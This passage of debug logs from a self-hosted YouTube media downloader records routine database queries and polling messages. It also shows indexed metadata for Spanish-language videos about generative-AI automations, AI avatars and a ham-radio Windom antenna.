s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:33:39.301 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:33:39.301 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1384] 22:33:39.302 [debug] Current batch of media processed. Will check again in 1000ms 22:33:40.242 [debug] Current batch of media processed. Will check again in 1000ms 22:33:40.302 [debug] Current batch of media processed. Will check again in 1000ms 22:33:41.243 [debug] Current batch of media processed. Will check again in 1000ms 22:33:41.303 [debug] Current batch of media processed. Will check again in 1000ms 22:33:42.244 [debug] Current batch of media processed. Will check again in 1000ms 22:33:42.304 [debug] Current batch of media processed. Will check again in 1000ms 22:33:43.245 [debug] Current batch of media processed. Will check again in 1000ms 22:33:43.305 [debug] Current batch of media processed. Will check again in 1000ms 22:33:44.246 [debug] Current batch of media processed. Will check again in 1000ms 22:33:44.306 [debug] Current batch of media processed. Will check again in 1000ms 22:33:45.247 [debug] Current batch of media processed. Will check again in 1000ms 22:33:45.307 [debug] Current batch of media processed. Will check again in 1000ms 22:33:46.248 [debug] Current batch of media processed. Will check again in 1000ms 22:33:46.309 [debug] Current batch of media processed. Will check again in 1000ms 22:33:47.249 [debug] Current batch of media processed. Will check again in 1000ms 22:33:47.309 [debug] Current batch of media processed. Will check again in 1000ms 22:33:48.250 [debug] Current batch of media processed. Will check again in 1000ms 22:33:48.310 [debug] Current batch of media processed. Will check again in 1000ms 22:33:49.251 [debug] Current batch of media processed. Will check again in 1000ms 22:33:49.311 [debug] Current batch of media processed. Will check again in 1000ms 22:33:50.252 [debug] Current batch of media processed. Will check again in 1000ms 22:33:50.312 [debug] Current batch of media processed. Will check again in 1000ms 22:33:51.222 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:51.253 [debug] Current batch of media processed. Will check again in 1000ms 22:33:51.313 [debug] Current batch of media processed. Will check again in 1000ms 22:33:52.254 [debug] Current batch of media processed. Will check again in 1000ms 22:33:52.314 [debug] Current batch of media processed. Will check again in 1000ms 22:33:53.255 [debug] Current batch of media processed. Will check again in 1000ms 22:33:53.315 [debug] Current batch of media processed. Will check again in 1000ms 22:33:54.256 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Estamos de procesiones y playa..., pero gracias a lo que os explicamos en este capitulo, hemos lanzado el capitulo de #IAMIQUE sin problema y en tiempo. 😊 \n\nEste es uno de los capítulos mas importantes... es el que multiplica el valor de la IA Generativa x 10. Los automatizadores con IA Generativa han tenido una explosion de usos y de crecimiento, son herramientas complementarias que van a ayudarte tanto en tu vida personal como en la profesional... y si además tienes empresa o eres autónomo mas que mas!!! \n\nNo te pierdas el capitulo de hoy!\n\nBueno deja de leer lo importante es que veas el video .... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉\n\n#iamique #genai #chatgpt #zapier #make #n8n #iagenerativa", "duration" => 664, "filename" => "/downloads/music/IA mí QUÉ/EP.7: Automatizaciones con IA.m4a", "id" => "6Wn2I01jmc0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6Wn2I01jmc0", "playlist_index" => 43, "timestamp" => 1745147293, "title" => "EP.7: Automatizaciones con IA", "upload_date" => "20250420"} 22:33:54.257 [debug] QUERY OK source="sources" db=0.7ms idle=1494.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:33:54.258 [debug] QUERY OK source="sources" db=0.4ms idle=1495.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:33:54.259 [debug] QUERY OK source="media_items" db=0.7ms idle=1495.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-20 11:08:13Z], 2] 22:33:54.261 [debug] QUERY OK source="media_items" db=1.0ms idle=1496.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Estamos de procesiones y playa..., pero gracias a lo que os explicamos en este capitulo, hemos lanzado el capitulo de #IAMIQUE sin problema y en tiempo. 😊 \n\nEste es uno de los capítulos mas importantes... es el que multiplica el valor de la IA Generativa x 10. Los automatizadores con IA Generativa han tenido una explosion de usos y de crecimiento, son herramientas complementarias que van a ayudarte tanto en tu vida personal como en la profesional... y si además tienes empresa o eres autónomo mas que mas!!! \n\nNo te pierdas el capitulo de hoy!\n\nBueno deja de leer lo importante es que veas el video .... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉\n\n#iamique #genai #chatgpt #zapier #make #n8n #iagenerativa", "EP.7: Automatizaciones con IA", "d177a5dd-5ddf-445a-a124-217d66ee0d49", 664, false, "6Wn2I01jmc0", "https://www.youtube.com/watch?v=6Wn2I01jmc0", 43, "/downloads/music/IA mí QUÉ/EP.7: Automatizaciones con IA.m4a", false, false, false, 2, [], 90, ~U[2025-04-20 11:08:13Z], ~U[2026-02-07 21:33:54Z], ~U[2026-02-07 21:33:54Z], "Estamos de procesiones y playa..., pero gracias a lo que os explicamos en este capitulo, hemos lanzado el capitulo de #IAMIQUE sin problema y en tiempo. 😊 \n\nEste es uno de los capítulos mas importantes... es el que multiplica el valor de la IA Generativa x 10. Los automatizadores con IA Generativa han tenido una explosion de usos y de crecimiento, son herramientas complementarias que van a ayudarte tanto en tu vida personal como en la profesional... y si además tienes empresa o eres autónomo mas que mas!!! \n\nNo te pierdas el capitulo de hoy!\n\nBueno deja de leer lo importante es que veas el video .... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉\n\n#iamique #genai #chatgpt #zapier #make #n8n #iagenerativa", "EP.7: Automatizaciones con IA", 664, false, "6Wn2I01jmc0", "https://www.youtube.com/watch?v=6Wn2I01jmc0", "/downloads/music/IA mí QUÉ/EP.7: Automatizaciones con IA.m4a", false, 2, ~U[2025-04-20 11:08:13Z]] 22:33:54.261 [debug] QUERY OK source="sources" db=0.5ms idle=938.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:33:54.262 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:33:54.263 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1352] 22:33:54.263 [debug] Current batch of media processed. Will check again in 1000ms 22:33:54.316 [debug] Current batch of media processed. Will check again in 1000ms 22:33:55.263 [debug] Current batch of media processed. Will check again in 1000ms 22:33:55.317 [debug] Current batch of media processed. Will check again in 1000ms 22:33:56.264 [debug] Current batch of media processed. Will check again in 1000ms 22:33:56.318 [debug] Current batch of media processed. Will check again in 1000ms 22:33:57.265 [debug] Current batch of media processed. Will check again in 1000ms 22:33:57.319 [debug] Current batch of media processed. Will check again in 1000ms 22:33:58.266 [debug] Current batch of media processed. Will check again in 1000ms 22:33:58.320 [debug] Current batch of media processed. Will check again in 1000ms 22:33:59.267 [debug] Current batch of media processed. Will check again in 1000ms 22:33:59.321 [debug] Current batch of media processed. Will check again in 1000ms 22:34:00.113 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:00.268 [debug] Current batch of media processed. Will check again in 1000ms 22:34:00.322 [debug] Current batch of media processed. Will check again in 1000ms 22:34:01.269 [debug] Current batch of media processed. Will check again in 1000ms 22:34:01.323 [debug] Current batch of media processed. Will check again in 1000ms 22:34:02.270 [debug] Current batch of media processed. Will check again in 1000ms 22:34:02.324 [debug] Current batch of media processed. Will check again in 1000ms 22:34:03.271 [debug] Current batch of media processed. Will check again in 1000ms 22:34:03.325 [debug] Current batch of media processed. Will check again in 1000ms 22:34:04.272 [debug] Current batch of media processed. Will check again in 1000ms 22:34:04.326 [debug] Current batch of media processed. Will check again in 1000ms 22:34:05.273 [debug] Current batch of media processed. Will check again in 1000ms 22:34:05.327 [debug] Current batch of media processed. Will check again in 1000ms 22:34:06.274 [debug] Current batch of media processed. Will check again in 1000ms 22:34:06.328 [debug] Current batch of media processed. Will check again in 1000ms 22:34:07.275 [debug] Current batch of media processed. Will check again in 1000ms 22:34:07.329 [debug] Current batch of media processed. Will check again in 1000ms 22:34:08.276 [debug] Current batch of media processed. Will check again in 1000ms 22:34:08.330 [debug] Current batch of media processed. Will check again in 1000ms 22:34:09.277 [debug] Current batch of media processed. Will check again in 1000ms 22:34:09.331 [debug] Current batch of media processed. Will check again in 1000ms 22:34:10.278 [debug] Current batch of media processed. Will check again in 1000ms 22:34:10.332 [debug] Current batch of media processed. Will check again in 1000ms 22:34:11.279 [debug] Current batch of media processed. Will check again in 1000ms 22:34:11.333 [debug] Current batch of media processed. Will check again in 1000ms 22:34:12.280 [debug] Current batch of media processed. Will check again in 1000ms 22:34:12.334 [debug] Current batch of media processed. Will check again in 1000ms 22:34:13.281 [debug] Current batch of media processed. Will check again in 1000ms 22:34:13.335 [debug] Current batch of media processed. Will check again in 1000ms 22:34:14.282 [debug] Current batch of media processed. Will check again in 1000ms 22:34:14.336 [debug] Current batch of media processed. Will check again in 1000ms 22:34:15.283 [debug] Current batch of media processed. Will check again in 1000ms 22:34:15.337 [debug] Current batch of media processed. Will check again in 1000ms 22:34:16.284 [debug] Current batch of media processed. Will check again in 1000ms 22:34:16.338 [debug] Current batch of media processed. Will check again in 1000ms 22:34:17.285 [debug] Current batch of media processed. Will check again in 1000ms 22:34:17.339 [debug] Current batch of media processed. Will check again in 1000ms 22:34:18.286 [debug] Current batch of media processed. Will check again in 1000ms 22:34:18.340 [debug] Current batch of media processed. Will check again in 1000ms 22:34:19.287 [debug] Current batch of media processed. Will check again in 1000ms 22:34:19.342 [debug] Current batch of media processed. Will check again in 1000ms 22:34:20.289 [debug] Current batch of media processed. Will check again in 1000ms 22:34:20.344 [debug] Current batch of media processed. Will check again in 1000ms 22:34:21.224 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:21.289 [debug] Current batch of media processed. Will check again in 1000ms 22:34:21.344 [debug] Current batch of media processed. Will check again in 1000ms 22:34:22.290 [debug] Current batch of media processed. Will check again in 1000ms 22:34:22.345 [debug] Current batch of media processed. Will check again in 1000ms 22:34:23.291 [debug] Current batch of media processed. Will check again in 1000ms 22:34:23.346 [debug] Current batch of media processed. Will check again in 1000ms 22:34:24.292 [debug] Current batch of media processed. Will check again in 1000ms 22:34:24.347 [debug] Current batch of media processed. Will check again in 1000ms 22:34:25.293 [debug] Current batch of media processed. Will check again in 1000ms 22:34:25.348 [debug] Current batch of media processed. Will check again in 1000ms 22:34:26.294 [debug] Current batch of media processed. Will check again in 1000ms 22:34:26.349 [debug] Current batch of media processed. Will check again in 1000ms 22:34:27.295 [debug] Current batch of media processed. Will check again in 1000ms 22:34:27.350 [debug] Current batch of media processed. Will check again in 1000ms 22:34:28.296 [debug] Current batch of media processed. Will check again in 1000ms 22:34:28.351 [debug] Current batch of media processed. Will check again in 1000ms 22:34:29.297 [debug] Current batch of media processed. Will check again in 1000ms 22:34:29.352 [debug] Current batch of media processed. Will check again in 1000ms 22:34:30.298 [debug] Current batch of media processed. Will check again in 1000ms 22:34:30.353 [debug] Current batch of media processed. Will check again in 1000ms 22:34:31.299 [debug] Current batch of media processed. Will check again in 1000ms 22:34:31.354 [debug] Current batch of media processed. Will check again in 1000ms 22:34:32.300 [debug] Current batch of media processed. Will check again in 1000ms 22:34:32.355 [debug] Current batch of media processed. Will check again in 1000ms 22:34:33.301 [debug] Current batch of media processed. Will check again in 1000ms 22:34:33.356 [debug] Current batch of media processed. Will check again in 1000ms 22:34:34.302 [debug] Current batch of media processed. Will check again in 1000ms 22:34:34.357 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "El intento de montar una antena OCF (Off Center Fed), tambien llamada Windom, no acaba bien. La antena no rinde como debería. Os muestro los pasos seguidos y las pruebas realizadas.\n\nContenido del video\n00:00 - Inicio\n00:55 - Intro canal\n01:13 - Parte 1: montando antena corta (40 a 10 metros)\n06:27 - Parte 2: antena larga (80 a 10 metros)\n09:15 - Parte 3: expedición a la selva (desplegando antena)\n11:09 - Parte 4: desilusion, no funciona\n\n#1:4 #windom #radioaficionados #FT140-61 #antena #balun #guanella #hamradio #diyelectronics #ocf\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1400, "filename" => "/downloads/music/ea3grn/135 - ANTENA OCF WINDOM NO FUNCIONA BIEN HF RADIOAFICIONADOS.m4a", "id" => "b5JR_Z0kztc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=b5JR_Z0kztc", "playlist_index" => 46, "timestamp" => 1713459619, "title" => "135 - ANTENA OCF WINDOM NO FUNCIONA BIEN HF RADIOAFICIONADOS", "upload_date" => "20240418"} 22:34:34.358 [debug] QUERY OK source="sources" db=0.5ms idle=1595.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:34:34.359 [debug] QUERY OK source="sources" db=0.4ms idle=964.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:34:34.360 [debug] QUERY OK source="media_items" db=0.7ms idle=596.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-18 17:00:19Z], 3] 22:34:34.361 [debug] QUERY OK source="media_items" db=1.0ms idle=597.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["El intento de montar una antena OCF (Off Center Fed), tambien llamada Windom, no acaba bien. La antena no rinde como debería. Os muestro los pasos seguidos y las pruebas realizadas.\n\nContenido del video\n00:00 - Inicio\n00:55 - Intro canal\n01:13 - Parte 1: montando antena corta (40 a 10 metros)\n06:27 - Parte 2: antena larga (80 a 10 metros)\n09:15 - Parte 3: expedición a la selva (desplegando antena)\n11:09 - Parte 4: desilusion, no funciona\n\n#1:4 #windom #radioaficionados #FT140-61 #antena #balun #guanella #hamradio #diyelectronics #ocf\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "135 - ANTENA OCF WINDOM NO FUNCIONA BIEN HF RADIOAFICIONADOS", "447df7a1-fcec-419b-9ea2-7f4b4c78c2b8", 1400, false, "b5JR_Z0kztc", "https://www.youtube.com/watch?v=b5JR_Z0kztc", 46, "/downloads/music/ea3grn/135 - ANTENA OCF WINDOM NO FUNCIONA BIEN HF RADIOAFICIONADOS.m4a", false, false, false, 3, [], 98, ~U[2024-04-18 17:00:19Z], ~U[2026-02-07 21:34:34Z], ~U[2026-02-07 21:34:34Z], "El intento de montar una antena OCF (Off Center Fed), tambien llamada Windom, no acaba bien. La antena no rinde como debería. Os muestro los pasos seguidos y las pruebas realizadas.\n\nContenido del video\n00:00 - Inicio\n00:55 - Intro canal\n01:13 - Parte 1: montando antena corta (40 a 10 metros)\n06:27 - Parte 2: antena larga (80 a 10 metros)\n09:15 - Parte 3: expedición a la selva (desplegando antena)\n11:09 - Parte 4: desilusion, no funciona\n\n#1:4 #windom #radioaficionados #FT140-61 #antena #balun #guanella #hamradio #diyelectronics #ocf\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "135 - ANTENA OCF WINDOM NO FUNCIONA BIEN HF RADIOAFICIONADOS", 1400, false, "b5JR_Z0kztc", "https://www.youtube.com/watch?v=b5JR_Z0kztc", "/downloads/music/ea3grn/135 - ANTENA OCF WINDOM NO FUNCIONA BIEN HF RADIOAFICIONADOS.m4a", false, 3, ~U[2024-04-18 17:00:19Z]] 22:34:34.362 [debug] QUERY OK source="sources" db=0.4ms idle=599.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:34:34.363 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:34:34.363 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1386] 22:34:34.364 [debug] Current batch of media processed. Will check again in 1000ms 22:34:35.303 [debug] Current batch of media processed. Will check again in 1000ms 22:34:35.364 [debug] Current batch of media processed. Will check again in 1000ms 22:34:36.304 [debug] Current batch of media processed. Will check again in 1000ms 22:34:36.365 [debug] Current batch of media processed. Will check again in 1000ms 22:34:37.305 [debug] Current batch of media processed. Will check again in 1000ms 22:34:37.366 [debug] Current batch of media processed. Will check again in 1000ms 22:34:38.306 [debug] Current batch of media processed. Will check again in 1000ms 22:34:38.367 [debug] Current batch of media processed. Will check again in 1000ms 22:34:39.307 [debug] Current batch of media processed. Will check again in 1000ms 22:34:39.368 [debug] Current batch of media processed. Will check again in 1000ms 22:34:40.308 [debug] Current batch of media processed. Will check again in 1000ms 22:34:40.369 [debug] Current batch of media processed. Will check again in 1000ms 22:34:41.309 [debug] Current batch of media processed. Will check again in 1000ms 22:34:41.370 [debug] Current batch of media processed. Will check again in 1000ms 22:34:42.310 [debug] Current batch of media processed. Will check again in 1000ms 22:34:42.371 [debug] Current batch of media processed. Will check again in 1000ms 22:34:43.311 [debug] Current batch of media processed. Will check again in 1000ms 22:34:43.372 [debug] Current batch of media processed. Will check again in 1000ms 22:34:44.312 [debug] Current batch of media processed. Will check again in 1000ms 22:34:44.373 [debug] Current batch of media processed. Will check again in 1000ms 22:34:45.313 [debug] Current batch of media processed. Will check again in 1000ms 22:34:45.374 [debug] Current batch of media processed. Will check again in 1000ms 22:34:46.314 [debug] Current batch of media processed. Will check again in 1000ms 22:34:46.375 [debug] Current batch of media processed. Will check again in 1000ms 22:34:47.315 [debug] Current batch of media processed. Will check again in 1000ms 22:34:47.376 [debug] Current batch of media processed. Will check again in 1000ms 22:34:48.316 [debug] Current batch of media processed. Will check again in 1000ms 22:34:48.377 [debug] Current batch of media processed. Will check again in 1000ms 22:34:49.317 [debug] Current batch of media processed. Will check again in 1000ms 22:34:49.378 [debug] Current batch of media processed. Will check again in 1000ms 22:34:50.318 [debug] Current batch of media processed. Will check again in 1000ms 22:34:50.379 [debug] Current batch of media processed. Will check again in 1000ms 22:34:51.226 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:51.319 [debug] Current batch of media processed. Will check again in 1000ms 22:34:51.380 [debug] Current batch of media processed. Will check again in 1000ms 22:34:52.320 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Episodio 6️⃣: Avatares 🧑\u200D🤝\u200D🧑\n\nHoy mucho del contenido del que ves en redes sociales son Avatares de uno u otro influencer... todos lo han probado, unos solo han hecho la prueba y te lo han dicho, y otros te lo han dicho y sacan mucho contenido así.\n\nYa se que tu no eres Influencer! ni falta que hace! pero aun así los avatares podrían ayudarte en tu trabajo.... en muchas cosas....\n\nEn el video de hoy te explicamos que son los avatares, como hacerlos y os explicaremos, como no, el IAMIQue... es decir los casos de uso que hemos realizado.\n\n👉 👀 Esta semana varios modelos de GPT han superado el test de Turing... esto que quiere decir, que un humano haciendo preguntas a una IA, manteniendo una conversación, no sabia distinguir si detrás había un humano o una maquina. Y si lo han superado 4 modelos de IA..... y si juntas eso con un Avatar??? no sabes si el que esta haciendo el Teams.. 